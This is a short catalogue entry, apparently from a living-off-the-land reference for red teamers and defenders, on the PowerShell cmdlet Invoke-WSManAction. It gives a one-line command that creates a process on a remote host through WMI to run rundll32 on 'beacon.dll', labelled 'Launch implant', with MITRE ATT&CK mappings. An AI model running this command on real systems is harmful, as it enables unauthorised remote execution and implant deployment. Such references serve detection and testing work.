.. / Invoke-WSManAction

Invokes an action on the object that is specified by the Resource URI and by the selectors

Functions:	Execute
Type:	Cmdlets
Toolsets:	Builtin

Execute

Execute binary

Invoke-WSManAction -ComputerName W10.ad.bitsadmin.com -Action "Create" -ResourceURI wmicimv2/win32_process -ValueSet @{CommandLine='C:\Windows\System32\rundll32.exe "C:\tmp\App Folder\beacon.dll",Start'}

Usecase
Launch implant

Comments
PowerShell Module: Microsoft.WSMan.Management

Mitre Att&ck

T1047
T1059.001

Updated: 2023-07-01

Contributor: Arris Huijgen (bitsadmin)